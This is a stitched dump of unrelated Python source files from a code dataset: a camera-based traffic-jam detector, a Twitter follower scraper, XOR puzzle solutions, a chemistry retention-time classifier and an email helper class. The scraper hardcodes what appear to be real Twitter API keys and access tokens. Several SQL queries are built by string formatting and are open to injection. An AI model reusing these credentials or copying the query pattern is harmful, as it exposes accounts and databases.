1.2\nflow_rate_zero = 0\nflow_rate_normal = 1500\nflow_rate_moderate = 2500\n\ntime_to_run_every_x_seconds = 0 # the databse will update in every 5 seconds\n\n\ndef get_all_cameras():\n query = \"SELECT camera_id FROM camera_list\"\n cursor.execute(query)\n result_set = cursor.fetchall()\n result = []\n for row in result_set:\n result.append([row][0][0])\n return result\n\n\ndef get_neighbor_cameras(reference_camera_id):\n query = \"SELECT distinct neighbor_camera_id FROM camera_neighbor WHERE reference_camera_id = {}\".format(reference_camera_id)\n cursor.execute(query)\n result_set = cursor.fetchall()\n result = []\n for row in result_set:\n result.append([row][0][0])\n return result\n\n\ndef get_reference_and_neighbor_camera_valid_direction_pair(reference_camera_id, neighbor_camera_id):\n query = \"SELECT reference_to_neighbor_direction, neighbor_to_reference_direction, direction_match_flag \" \\\n \"FROM camera_neighbor WHERE reference_camera_id = %i AND neighbor_camera_id = %i\" % (reference_camera_id, neighbor_camera_id)\n cursor.execute(query)\n result_set = cursor.fetchall()\n\n result = []\n if result_set != None:\n for row in result_set:\n result_dict = dict()\n result_dict['reference_to_neighbor_direction'] = row[0]\n result_dict['neighbor_to_reference_direction'] = row[1]\n result_dict['direction_match_flag'] = row[2]\n result.append(result_dict)\n return result # this is a list of dictonaries which contain neighbor camera, reference_to_neighbor_direction,\n # and neighbor_to_reference_direction\n\n\ndef get_current_direction(camera_id):\n query = \"SELECT current_direction FROM camera_list WHERE camera_id = %i\" % (camera_id)\n cursor.execute(query)\n result_set = cursor.fetchone()\n result = None\n if result_set != None:\n result = result_set[0]\n return result\n\n\ndef get_flow_rate(camera_id, direction, side):\n query = \"SELECT distinct(avg_traffic_flow) FROM traffic_status td, lane_details ld, cam_facing_road cfr \" \\\n \"WHERE cfr.camera_road_id = ld.cam_road_id and ld.lane_id = td.lane_id and cfr.camera_id = {0} \" \\\n \"and cfr.direction = '{1}' and ld.lane_annotation > 0\".format(camera_id, direction)\n if side == 'left':\n query = \"SELECT distinct(avg_traffic_flow) FROM traffic_status td, lane_details ld, cam_facing_road cfr \" \\\n \"WHERE cfr.camera_road_id = ld.cam_road_id and ld.lane_id = td.lane_id and cfr.camera_id = {0} \" \\\n \"and cfr.direction = '{1}' and ld.lane_annotation < 0\".format(camera_id, direction)\n\n cursor.execute(query)\n result_set = cursor.fetchone()\n result = None\n if result_set != None:\n result = result_set[0]\n return result\n\n\ndef get_road_name_from_jam_status(reference_camera_id, neighbor_camera_id):\n query = \"SELECT road_name FROM jam_status_current WHERE reference_cam_id = {} AND neighbor_cam_id = {}\".format(reference_camera_id, neighbor_camera_id)\n cursor.execute(query)\n result_set = cursor.fetchone()\n result = None\n if result_set != None:\n result = result_set[0]\n return result\n\n\ndef update_jam_status_current(datetime, reference_camera_id, neighbor_camera_id, reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane, JAM_STATUS_right_lane):\n query = \"UPDATE jam_status_current SET reference_current_direction = %s, neighbor_current_direction = %s, right_lane_status = %s, creation_datetime = %s, \" \\\n \"left_lane_status = %s WHERE reference_cam_id = %s AND neighbor_cam_id = %s\"\n cursor.execute(query, (\n str(reference_cam_current_direction), str(neighbor_cam_current_direction), str(JAM_STATUS_right_lane),\n str(datetime),\n str(JAM_STATUS_left_lane), int(reference_camera_id), int(neighbor_camera_id)))\n cnx.commit()\n\n\ndef insert_jam_status_history(datetime, reference_camera_id, neighbor_camera_id, reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane, JAM_STATUS_right_lane):\n print(datetime, reference_camera_id, neighbor_camera_id, reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane, JAM_STATUS_right_lane)\n print('-----------------------------------------------\\n\\n----------------------------------------------------')\n road_name = get_road_name_from_jam_status(reference_camera_id, neighbor_camera_id)\n query = \"INSERT INTO jam_status_history (`reference_cam_id`, `neighbor_cam_id`, `road_name`, `reference_current_direction`, \" \\\n \"`neighbor_current_direction`, `right_lane_status`, `left_lane_status`, `creation_datetime`) VALUES (\" \\\n \"%s, %s, %s, %s, %s, %s, %s, %s)\"\n cursor.execute(query, (\n str(reference_camera_id), str(neighbor_camera_id), str(road_name), str(reference_cam_current_direction),\n str(neighbor_cam_current_direction),\n str(JAM_STATUS_left_lane), str(JAM_STATUS_right_lane), str(datetime)))\n cnx.commit()\n\n\ndef make_pair(a, b):\n if a < b:\n return [a, b]\n else:\n return [b, a]\n\n\ndef flow_rate_compare(reference_camera_id, neighbor_camera_id, reference_cam_current_direction,\n neighbor_cam_current_direction, reference_cam_flow_rate_right, reference_cam_flow_rate_left,\n neighbor_cam_flow_rate_right, neighbor_cam_flow_rate_left, direction_match_flag):\n # Check if reference and neigbor camera have same direction\n if direction_match_flag == 'SAME':\n # direction illustration function block\n direction_illustration_same_direction(reference_camera_id, neighbor_camera_id, reference_cam_current_direction)\n\n print(\"both cameras are facing in same direction\\n\"\n \"so we compare reference left lane with neighbor left lane and reference right lane with neighbor right lane\\n\")\n\n if neighbor_cam_flow_rate_left not in range(int(x * int(reference_cam_flow_rate_left)),\n int(y * int(reference_cam_flow_rate_left))):\n JAM_STATUS_left_lane = \"HIGH\"\n else:\n if neighbor_cam_flow_rate_left in range(flow_rate_zero, flow_rate_normal):\n JAM_STATUS_left_lane = \"NORMAL\"\n elif neighbor_cam_flow_rate_left in range(flow_rate_normal, flow_rate_moderate):\n JAM_STATUS_left_lane = \"MODERATE\"\n else:\n JAM_STATUS_left_lane = \"HIGH\"\n if neighbor_cam_flow_rate_right not in range(int(x * int(reference_cam_flow_rate_right)),\n int(y * int(reference_cam_flow_rate_right))):\n JAM_STATUS_right_lane = \"HIGH\"\n else:\n if neighbor_cam_flow_rate_right in range(flow_rate_zero, flow_rate_normal):\n JAM_STATUS_right_lane = \"NORMAL\"\n elif neighbor_cam_flow_rate_right in range(flow_rate_normal, flow_rate_moderate):\n JAM_STATUS_right_lane = \"MODERATE\"\n else:\n JAM_STATUS_right_lane = \"HIGH\"\n else:\n # direction illustration function block\n direction_illustration_different_direction(reference_camera_id, neighbor_camera_id,\n reference_cam_current_direction, neighbor_cam_current_direction)\n\n print(\"both cameras are looking in different direction\\n\"\n \"so we compare reference left lane with neighbor right lane and reference right lane with neighbor left lane\\n\")\n\n if neighbor_cam_flow_rate_left not in range(int(x * int(reference_cam_flow_rate_right)),\n int(y * int(reference_cam_flow_rate_right))):\n JAM_STATUS_right_lane = \"HIGH\"\n else:\n if neighbor_cam_flow_rate_right in range(flow_rate_zero, flow_rate_normal):\n JAM_STATUS_right_lane = \"NORMAL\"\n elif neighbor_cam_flow_rate_right in range(flow_rate_normal, flow_rate_moderate):\n JAM_STATUS_right_lane = \"MODERATE\"\n else:\n JAM_STATUS_right_lane = \"HIGH\"\n if neighbor_cam_flow_rate_right not in range(int(x * int(reference_cam_flow_rate_left)),\n int(y * int(reference_cam_flow_rate_left))):\n JAM_STATUS_left_lane = \"HIGH\"\n else:\n if neighbor_cam_flow_rate_left in range(flow_rate_zero, flow_rate_normal):\n JAM_STATUS_left_lane = \"NORMAL\"\n elif neighbor_cam_flow_rate_left in range(flow_rate_normal, flow_rate_moderate):\n JAM_STATUS_left_lane = \"MODERATE\"\n else:\n JAM_STATUS_left_lane = \"HIGH\"\n return (JAM_STATUS_right_lane, JAM_STATUS_left_lane)\n\n\n# this function is just for debugging purpose, where ever this function is used, that part can be commented and the\n# code will still run smooth.\ndef direction_illustration_same_direction(reference_camera_id, neighbor_camera_id, reference_cam_current_direction):\n if reference_cam_current_direction == 'W':\n reference_direction_illustration = '--->'\n elif reference_cam_current_direction == 'E':\n reference_direction_illustration = '<---'\n elif reference_cam_current_direction == 'N':\n reference_direction_illustration = '/ \\\\n' \\\n ' | \\n' \\\n ' | \\n'\n elif reference_cam_current_direction == 'S':\n reference_direction_illustration = ' | \\n' \\\n ' | \\n' \\\n '\\ /'\n print(\"current orientation of cameras\\n\"\n \"--------------------------------------------\\n\"\n \"CAM %s CAM%s \\n\"\n \"%s %s\\n\"\n \"---------------------------------------------\\n\"\n % (reference_camera_id, neighbor_camera_id, reference_direction_illustration,\n reference_direction_illustration))\n\n\n# this function is just for debugging purpose, where ever this function is used, that part can be commented and the\n# code will still run smooth.\ndef direction_illustration_different_direction(reference_camera_id, neighbor_camera_id, reference_cam_current_direction,\n neighbor_cam_current_direction):\n if reference_cam_current_direction == 'W' and neighbor_cam_current_direction == 'E':\n reference_direction_illustration = '--->'\n neighbor_direction_illustration = '<---'\n elif reference_cam_current_direction == 'E' and neighbor_cam_current_direction == 'W':\n reference_direction_illustration = '<---'\n neighbor_direction_illustration = '--->'\n elif reference_cam_current_direction == 'N' and neighbor_cam_current_direction == 'S':\n reference_direction_illustration = '/ \\\\n' \\\n ' | \\n' \\\n ' | \\n'\n neighbor_direction_illustration = ' | \\n' \\\n ' | \\n' \\\n '\\ /'\n elif reference_cam_current_direction == 'S' and neighbor_cam_current_direction == 'N':\n reference_direction_illustration = ' | \\n' \\\n ' | \\n' \\\n '\\ /'\n neighbor_direction_illustration = '/ \\\\n' \\\n ' | \\n' \\\n ' | \\n'\n print(\"current orientation of cameras\\n\"\n \"--------------------------------------------\\n\"\n \"CAM %s CAM %s \\n\"\n \"%s %s\\n\"\n \"---------------------------------------------\\n\"\n % (\n reference_camera_id, neighbor_camera_id, reference_direction_illustration,\n neighbor_direction_illustration))\n\n\ndef generate_status(cam_list):\n compared_pairs = []\n start_time = time.time()\n # make a list of all the cameras available to us\n reference_cameras_list = cam_list #\n # print(reference_cameras_list)\n\n for index, reference_camera_id in enumerate(reference_cameras_list):\n print(\"camera index = {}\".format(index + 1))\n print(\"Reference_cam_id = {}\".format(reference_camera_id))\n # Make a list of dictionaries which contain reference_to_neighbor_direction,\n # and neighbor_to_reference_direction, direction flag\n neighbor_cameras = get_neighbor_cameras(reference_camera_id)\n print('neighbor_camera = {}'.format(neighbor_cameras))\n # Taking reference camera current direction\n reference_cam_current_direction = get_current_direction(reference_camera_id)\n print('reference_camera_current_direction = {}\\n'.format(reference_cam_current_direction))\n\n # Check if reference camera current direction is available to us, if not do not make any comparision,\n # this camera will be skipped\n if reference_cam_current_direction is not None:\n # Now, use the previously generated neighbor camera list to check all the neighbor cameras one by one.\n # This for loop should be intented towards right.\n\n for neighbor_camera_id in neighbor_cameras:\n print('Neighbor_camera_id = ', neighbor_camera_id)\n neighbor_cam_current_direction = get_current_direction(neighbor_camera_id)\n print('neighbor_cam_current_direction = {}'.format(neighbor_cam_current_direction))\n if neighbor_cam_current_direction is not None:\n neighbor_camera_details = get_reference_and_neighbor_camera_valid_direction_pair(\n reference_camera_id, neighbor_camera_id)\n\n for count, each_neighbor_camera in enumerate(neighbor_camera_details):\n neighbor_to_reference_direction = each_neighbor_camera.get(\"neighbor_to_reference_direction\")\n reference_to_neighbor_direction = each_neighbor_camera.get(\"reference_to_neighbor_direction\")\n direction_match_flag = str(each_neighbor_camera.get(\"direction_match_flag\").upper())\n\n print('CHECKING CURRENT DIRECTION WITH STORED VALID DIRECTION PAIRS\\n')\n print('Neighbor_cam_to_Reference_cam_direction, Reference_cam_to_Neighbor_cam_direction = ',\n neighbor_to_reference_direction, reference_to_neighbor_direction)\n print(' Neighbor_cam_Current_direction, Reference_cam_Current_direction = ',\n neighbor_cam_current_direction, reference_cam_current_direction, '\\n');\n # we first check if the current directions of reference and neighbor cameras match with one of the\n # valid direction pair stored in the database.\n if reference_cam_current_direction == reference_to_neighbor_direction and neighbor_cam_current_direction == neighbor_to_reference_direction:\n print(\n '--------------------------current directions match one of the DIRECTION PAIR(S) in which flow rate comparision is POSSIBLE-------------------------- \\n')\n print(\n '-------------------------------------------fetching flow rate from database to determine the status of JAM-------------------------------------------\\n')\n\n # fetch the flow rates of neighbor camera and reference camera\n neighbor_cam_flow_rate_right = get_flow_rate(neighbor_camera_id,\n neighbor_cam_current_direction, 'right')\n neighbor_cam_flow_rate_left = get_flow_rate(neighbor_camera_id,\n neighbor_cam_current_direction, 'left')\n\n reference_cam_flow_rate_right = get_flow_rate(reference_camera_id,\n reference_cam_current_direction, 'right')\n reference_cam_flow_rate_left = get_flow_rate(reference_camera_id,\n reference_cam_current_direction, 'left')\n\n print('flow rate of reference camera right,left = ', reference_cam_flow_rate_right,\n reference_cam_flow_rate_left)\n print('flow rate of neighbor camera right,left = ', neighbor_cam_flow_rate_right,\n neighbor_cam_flow_rate_left, '\\n')\n\n # Check if any of the flow_rate value is None, if that's the case then flow rate comparisions is not possible\n if neighbor_cam_flow_rate_left != None and neighbor_cam_flow_rate_right != None and \\\n reference_cam_flow_rate_left != None and reference_cam_flow_rate_right != None:\n\n # this if statement shold be intended towards right\n JAM_STATUS_right_lane, JAM_STATUS_left_lane = flow_rate_compare(reference_camera_id,\n neighbor_camera_id,\n reference_cam_current_direction,\n neighbor_cam_current_direction,\n reference_cam_flow_rate_right,\n reference_cam_flow_rate_left,\n neighbor_cam_flow_rate_right,\n neighbor_cam_flow_rate_left,\n direction_match_flag)\n update_jam_status_current(current_datetime, reference_camera_id, neighbor_camera_id,\n reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane,\n JAM_STATUS_right_lane)\n insert_jam_status_history(current_datetime, reference_camera_id, neighbor_camera_id,\n reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane,\n JAM_STATUS_right_lane)\n\n print('JAM STATUS of left lane of ROAD which has camera', reference_camera_id,\n 'monitoring', reference_cam_current_direction, 'direction = ',\n JAM_STATUS_left_lane)\n print('JAM STATUS of right lane of ROAD which has camera', reference_camera_id,\n 'monitoring', reference_cam_current_direction, 'direction = ',\n JAM_STATUS_right_lane)\n else:\n JAM_STATUS_right_lane, JAM_STATUS_left_lane = 'UNKNOWN', 'UNKNOWN'\n update_jam_status_current(current_datetime, reference_camera_id, neighbor_camera_id,\n reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane,\n JAM_STATUS_right_lane)\n insert_jam_status_history(current_datetime, reference_camera_id, neighbor_camera_id,\n reference_cam_current_direction,\n neighbor_cam_current_direction, JAM_STATUS_left_lane,\n JAM_STATUS_right_lane)\n\n print('JAM STATUS of left lane of ROAD which has camera', reference_camera_id,\n 'monitoring', reference_cam_current_direction, 'direction = ',\n JAM_STATUS_left_lane)\n print('JAM STATUS of right lane of ROAD which has camera', reference_camera_id,\n 'monitoring', reference_cam_current_direction, 'direction = ',\n JAM_STATUS_right_lane)\n break;\n\n else:\n print(\n '-----------current direction does not match the STORED VALID DIRECTION PAIR(S) in which we can compare flow rate----------\\n'\n '-------------------------------------------so flow rate comparision is not possible------------------------------------------ \\n')\n else:\n print(\n \"CAN'T DETERMINE STATUS of the ROAD because can't read the DIRECTION of the Neighbor Camera\\n\")\n\n else:\n print(\"CAN'T DETERMINE STATUS of the ROAD because can't read the DIRECTION of the Reference Camera\")\n print('\\n\\n\\n')\n print('-' * 150)\n print('Moving on to next REFERENCE CAMERA')\n print('-' * 150)\n print('\\n\\n\\n\\n')\n # time.sleep(1.5)\n\n stop_time = time.time()\n total_time = (stop_time - start_time)\n print(\"total time of execution on {} cameras = {} seconds\\n\\n\\n\\n\\n\\n\\n\".format(index + 1, total_time))\n time.sleep(time_to_run_every_x_seconds)\n\n# generate_status(get_all_cameras())\n","sub_path":"incident_detection_two_cameras.py","file_name":"incident_detection_two_cameras.py","file_ext":"py","file_size_in_byte":22942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"437613078","text":"import tweepy\nfrom tweepy import OAuthHandler\nfrom tweepy import API\nfrom collections import Counter\nfrom datetime import datetime, date, time, timedelta\nimport sys\nimport json\nimport os\nimport io\nimport re\nimport time\nimport pymongo\n\ndef get_follower_ids(target): \n return auth_api.followers_ids(target)\n\n\nif __name__ == \"__main__\":\n f = open('un.txt', 'r+')\n account_list = [line.replace('\\n', '') for line in f.readlines()]\n f.close()\n\n #account_list = [\"1003503961226145797\"]\n\n consumer_key=\"g7bgBlTndfcRHuYWUI3Q7dCIt\"\n consumer_secret=\"fElzxTKc1C7RGGpdRj2tQqgNcm2PuiYiIB4qSM1uaKYSOIAfmu\"\n access_token=\"705082009559826433-cE1qYJZy484QMVFjsskez9beg5M6N9k\"\n access_token_secret=\"QlABIEeLbUqv1UtyW8cIwijgSZGarswEzcjhBivEdujO9\"\n\n auth = OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n auth_api = API(auth)\n\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n mydb = myclient[\"bts\"]\n mycol = mydb[\"follower_graph\"]\n n = 0\n\n for target in account_list:\n n = n + 1\n print(\"Processing target: \" + target)\n try:\n follower_ids = get_follower_ids(target)\n\n mydict = { \"id\": target, \"follower_list\": follower_ids }\n x = mycol.insert_one(mydict)\n \n print(x)\n print(str(n)+\"/784 done\")\n time.sleep(70)\n except tweepy.TweepError as e:\n print(\"Exception met, going to sleep\")\n time.sleep(70)","sub_path":"followers_graph/follower_list.py","file_name":"follower_list.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"68578324","text":"######################这种类型的题都有三种解法可以解决\n######1.sum\n######2.异或等逻辑运算\n######3.哈希表存储\n\ndef missingNumber(nums):\n ml = len(nums)\n return int(ml * (ml + 1) / 2 - sum(nums))\n\ndef missingNumber2(nums): #采用异或操作, 可防止sum的数很大越界\n summ = len(nums)\n for i in range(len(nums)):\n summ ^= nums[i] #summ的总数 = nums的总数 + 1\n summ ^= i\n return summ\n\n###############136###############\ndef singleNumber( nums): #一个二进制位只能表示0或者1。也就是天生可以记录一个数出现了一次还是两次\n summ = 0\n for i in nums:\n summ ^= i\n return summ\n\ndef singleNumber12( nums):\n return 2*sum(set(nums)) - sum(nums)\n\n###############137#################\ndef singleNumber21(nums): #记录出现3次,需要两个二进制位。那么上面单独的x就不行了。我们需要两个变量,每个变量取一位:\n dic = {}\n for i in nums:\n if i in dic:\n dic[i] += 1\n else:\n dic[i] = 1\n\n return list (dic.keys()) [list (dic.values()).index (1)]\n\ndef singleNumber22(nums): #记录出现3次,需要两个二进制位。那么上面单独的x就不行了。我们需要两个变量,每个变量取一位:\n a,b = 0,0\n for i in nums:\n b = (b ^ i) & ~a\n a = (a ^ i) & ~b\n return b\n\ndef singleNumber23(nums):\n return (3*sum(set(nums)) - sum(nums))//2\n\nif __name__ == '__main__':\n nums = [9,6,4,2,3,5,7,0,1]\n # print(missingNumber2(nums))\n nums2 = [4,1,2,1,2]\n # print(singleNumber(nums2))\n nums3 = [0,1,0,1,0,1,99]\n print(singleNumber23(nums3))","sub_path":"lee/268. Missing Number.py","file_name":"268. Missing Number.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"16668564","text":"import pandas as pd\r\nimport pickle\r\nimport pubchempy as pcp\r\nfrom rdkit import Chem, DataStructs\r\nimport numpy as np\r\nfrom PredRetDatabaseProcessor import mol_prop_gen, fps_plus_mw\r\nfrom metabolic_map_intake import dictionary_sort\r\nimport timeit\r\n\r\ndef write_list_to_csv(List,output_file):\r\n \r\n df = pd.DataFrame(List)\r\n df.to_csv(output_file)\r\n\r\ndef generate_data(name,inchi,rt='null'):\r\n \r\n cmpd = pcp.get_compounds(inchi,'inchi')\r\n cmpd = pcp.get_compounds(inchi,'inchi')\r\n props = cmpd[0].to_dict(properties=['cactvs_fingerprint',\r\n 'isomeric_smiles', 'xlogp', 'rotatable_bond_count','charge','complexity',\r\n 'exact_mass','fingerprint'])\r\n smiles=props['isomeric_smiles']\r\n props['mol']=Chem.MolFromSmiles(smiles)\r\n props['RT'] = rt\r\n props['Name'] = name\r\n# props['System'] = row['System']\r\n desc = np.array(fps_plus_mw(props['mol']))\r\n descdf = pd.DataFrame(desc)\r\n descdf = descdf.T\r\n# descdf.reindex([index])\r\n newdf=pd.DataFrame(props,index=[0])\r\n finaldf=pd.concat([descdf,newdf],axis=1)\r\n return finaldf\r\n \r\ndef Take_In_RT_Markers(file):\r\n df = pd.read_csv(file)\r\n list_data_df = []\r\n for index,row in df.iterrows():\r\n name = row[0]\r\n inchi = row[1]\r\n rt = row[2]\r\n print(name,inchi,rt)\r\n list_data_df.append(generate_data(name,inchi,rt))\r\n return pd.concat(list_data_df) \r\n\r\ndef create_training_set(df_fem_long,output):\r\n df_list = []\r\n for i in range(len(df_fem_long)):\r\n print('On index {}'.format(i))\r\n first_part= df_fem_long.iloc[[i]]\r\n first_part.columns=col_A\r\n first_part = first_part.reset_index()\r\n for i2 in range(i+1,len(df_fem_long)):\r\n # print(i2)\r\n entry=[]\r\n second_part = df_fem_long.iloc[[i2]]\r\n second_part.columns=col_B\r\n second_part = second_part.reset_index()\r\n entry = [first_part,second_part]\r\n df = pd.concat(entry,axis=1)\r\n df_list.append(df)\r\n train_df = pd.concat(df_list,ignore_index=True)\r\n RT_status = []\r\n for index,row in train_df.iterrows():\r\n # print(row['ART'],row['BRT'])\r\n a_RT = float(row['ART'])\r\n b_RT = float(row['BRT'])\r\n if a_RT == b_RT:\r\n RT_status.append('error')\r\n elif a_RT > b_RT:\r\n RT_status.append(0)\r\n elif b_RT > a_RT:\r\n RT_status.append(1)\r\n else:\r\n RT_status.append('error')\r\n train_df['Result'] = RT_status\r\n for index,row in train_df.iterrows():\r\n if row['Result'] == 'error':\r\n train_df = train_df.drop(index)\r\n # train_df =train_df.drop(['ART','BRT','AName','BName','index','Amol','Bmol','Aisomeric_smiles','Bisomeric_smiles','ASystem','BSystem','Afingerprint','Bfingerprint','Acactvs_fingerprint','Bcactvs_fingerprint'],axis=1)\r\n train_df = train_df.fillna(0)\r\n\r\n train_df.to_csv(output)\r\n return train_df \r\ndef Create_A_B_Columns(complete_DF,col_string):\r\n col_list = []\r\n for index,col in enumerate(complete_DF.columns):\r\n if index < 159:\r\n col_list.append(col_string + str(col))\r\n else:\r\n col_list.append(col_string + col)\r\n return col_list\r\n \r\n\r\n\r\nfile_path_to_file = r'C:\\Users\\rubya\\Desktop\\Forsberg Lab\\MainThesisFolderRTPred\\pickles\\mummichog_rt_features.p'\r\nmol_characteristics = pickle.load(open(file_path_to_file,'rb'))\r\nmol_characteristics = mol_characteristics.drop(['System'],axis=1)\r\nrt_file = Take_In_RT_Markers(r'C:\\Users\\rubya\\Desktop\\Forsberg Lab\\MainThesisFolderRTPred\\csvfiles\\TemplateCompounds.csv')\r\n\r\n\r\nmodel = pickle.load( open(r\"C:\\Users\\rubya\\Desktop\\Forsberg Lab\\MainThesisFolderRTPred\\pickles\\RFClassifier.pickle\", \"rb\" ) )\r\nrt_list = []\r\ncol_A = Create_A_B_Columns(mol_characteristics,'A')\r\ncol_B = Create_A_B_Columns(rt_file,'B')\r\nrt_file.columns = col_B\r\nmol_characteristics.columns = col_A\r\nfor index,row in rt_file.iterrows():\r\n rt = row['BRT']\r\n print(rt)\r\n rt_list.append(rt)\r\nmol_characteristics.columns = col_A\r\nmol_characteristics = mol_characteristics.reset_index()\r\nmol_characteristics = mol_characteristics.drop(['index'],axis=1)\r\nlist_of_approved_cmpds = []\r\nlist_of_unapproved_cmpds = []\r\nlist_of_unsure_cmpds = []\r\n\r\n\r\nmcg_metabolite_worksheet = pd.read_csv(r'C:\\Users\\rubya\\Desktop\\Forsberg Lab\\MainThesisFolderRTPred\\KristenResults\\results\\mummichog\\tsv\\mcg_metabolite_worksheet_mummichog.tsv',sep='\\t')\r\nmetab_dict = dictionary_sort(mcg_metabolite_worksheet,0)\r\npathway_dict = dictionary_sort(mcg_metabolite_worksheet,5)\r\ntest_list = []\r\nfor index,row in mol_characteristics.iterrows():\r\n test_name = row['AName']\r\n if test_name in metab_dict.keys():\r\n test_list.append(test_name)\r\n print('On index {}'.format(index))\r\n df_list = []\r\n for i in range(len(rt_file)-1):\r\n entry = []\r\n entry = [mol_characteristics.iloc[[index]].reset_index(),rt_file.iloc[[i]].reset_index()]\r\n df = pd.concat(entry,axis=1)\r\n df_list.append(df)\r\n essential_df = pd.concat(df_list,ignore_index=True)\r\n essential_df = essential_df.fillna(0)\r\n actual_rt = row['ART']\r\n essential_df = essential_df.drop(['ART','BRT','AName','BName','index','Amol','Bmol','Aisomeric_smiles','Bisomeric_smiles','Afingerprint','Bfingerprint','Acactvs_fingerprint','Bcactvs_fingerprint'],axis=1)\r\n \r\n predictions = list(model.predict(essential_df))\r\n prob_A = list(model.predict_proba(essential_df))\r\n end_range = 100.0\r\n beginning_range = 0.00\r\n for index,result in enumerate(predictions):\r\n rt = rt_list[index]\r\n if prob_A[index][0] > .49 and prob_A[index][0] < .51:\r\n break\r\n if result == 1 and beginning_range < rt < end_range:\r\n end_range = rt\r\n if result == 0 and end_range > rt > beginning_range:\r\n beginning_range = rt\r\n if beginning_range == 0.00 and end_range == 100.0 and test_name not in list_of_unsure_cmpds:\r\n list_of_unsure_cmpds.append(test_name)\r\n elif beginning_range < actual_rt < end_range and test_name not in list_of_approved_cmpds:\r\n list_of_approved_cmpds.append(test_name)\r\n elif not beginning_range < actual_rt < end_range and test_name not in list_of_unapproved_cmpds:\r\n list_of_unapproved_cmpds.append(test_name)\r\n print('Start range of RT is {} and end range of RT is {} for {}'.format(beginning_range,end_range,test_name)) \r\ntotal = len(list_of_approved_cmpds) + len(list_of_unapproved_cmpds) + len(list_of_unsure_cmpds)\r\nprint('False positves removed {}, perventage is {}'.format(len(list_of_unapproved_cmpds),(len(list_of_unapproved_cmpds)/total) * 100))\r\nwrite_list_to_csv(list_of_approved_cmpds,'approved.csv')\r\nwrite_list_to_csv(list_of_unapproved_cmpds,'unapproved.csv')\r\nwrite_list_to_csv(list_of_unsure_cmpds,'unsure.csv')\r\n\r\ndef intersection(lst1, lst2): \r\n lst3 = [value for value in lst1 if value in lst2] \r\n return lst3\r\n\r\nprint(intersection(list_of_approved_cmpds,list_of_unapproved_cmpds))\r\nprint(intersection(list_of_approved_cmpds,list_of_unsure_cmpds))\r\nprint(intersection(list_of_unapproved_cmpds,list_of_unsure_cmpds))\r\n\r\n\r\n\r\n\r\n","sub_path":"RTCheckProgram/Core_Code/xcmsformatformodel.py","file_name":"xcmsformatformodel.py","file_ext":"py","file_size_in_byte":7220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"361279117","text":"import smtplib\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\n\r\nimport os\r\nfrom email.mime.base import MIMEBase\r\nfrom email.encoders import encode_base64\r\n\r\nimport base64\r\n\r\n\r\nclass ProtocoloCorreo:\r\n def MensajeEnviar(self, tituloMensaje, contenidoMensaje, finalMensaje):\r\n mensaje = \"

\" + tituloMensaje + \"

\" \\\r\n \" \" + contenidoMensaje + \" \" \\\r\n \"

\" + finalMensaje + \"

\"\r\n return mensaje\r\n\r\n def Remitente(self, apodoRemitente, correoRemitente):\r\n return apodoRemitente + \" <\" + correoRemitente + \">\"\r\n\r\n def Destinatario(self, etiquetaDestinatario, correoDestinatario):\r\n return etiquetaDestinatario + \" <\" + correoDestinatario + \">\"\r\n\r\n def decoBase64UrlSafe(self, s):\r\n var = base64.urlsafe_b64decode(s + '=' * (4 - len(s) % 4))\r\n return str(var, 'utf-8')\r\n\r\n def ExisteVariable(self, variable):\r\n try:\r\n a = variable\r\n return True\r\n except:\r\n return False\r\n\r\nclass ServicioEmail(ProtocoloCorreo):\r\n \"\"\"\r\n En el constructor de esta clase recibe las credenciales de conexion, email y password para acceder a la cuenta,\r\n asi como un apodo del dueño del email (para establecer el remitente)\r\n para esto: ServicioEmail(emailInBase64\",\"passwordInBase64\", \"pseudonimo\")\r\n\r\n Antes de preparar el correo se recomienda preparar el mensaje a enviar\r\n (no es obligatorio, pero para dar mas presentacion al mensaje es recomendado)\r\n para eso se usa: ProtocoloCorreo().MensajeEnviar\r\n\r\n Seguidamente se prepara el destinatario con: setDestinatario\r\n\r\n Finalmente se envia el correo con: SendCorreo(asunto=\"Prueba\", mensaje=\"hola mundo\", archivoAdjunto=\"ruta archivo\")\r\n\r\n\r\n\r\n *********************************************\r\n example1:\r\n mensaje = ProtocoloCorreo().MensajeEnviar(\"Titulo\", \"contenido\", \"Final\")\r\n GMAIL = ServicioEmail(\"emailInBase64\",\r\n \"passwordInBase64\", \"pseudonimo\")\r\n GMAIL.setDestinatario(\"apodoDestino\", \"EmailTo\")\r\n GMAIL.SendCorreo(asunto=\"Prueba\", mensaje=\"hola mundo\")\r\n\r\n *********************************************\r\n example2:\r\n mensaje = ProtocoloCorreo().MensajeEnviar(\"Titulo\", \"contenido\", \"Final\")\r\n GMAIL = ServicioEmail(\"emailInBase64\",\r\n \"passwordInBase64\", \"pseudonimo\")\r\n GMAIL.setDestinatario(\"apodoDestino\", \"EmailTo\")\r\n GMAIL.SendCorreo(asunto=\"Prueba\", mensaje=\"hola mundo\")\r\n\r\n GMAIL.setDestinatario(\"apodoDestino2\", \"EmailTo2\")\r\n GMAIL.SendCorreo(asunto=\"Prueba\", mensaje=\"hola mundo\")\r\n\r\n *********************************************\r\n example3:\r\n mensaje = ProtocoloCorreo().MensajeEnviar(\"Titulo\", \"contenido\", \"Final\")\r\n GMAIL = ServicioEmail(\"emailInBase64\",\r\n \"passwordInBase64\", \"pseudonimo\")\r\n GMAIL.setDestinatario(\"ivAdventure\", \"wisrovi.rodriguez@gmail.com\")\r\n\r\n FILE = \"files/prueba.xlsx\"\r\n GMAIL.SendCorreo(asunto=\"Prueba\", mensaje=\"hola mundo\", archivoAdjunto=FILE)\r\n *********************************************\r\n 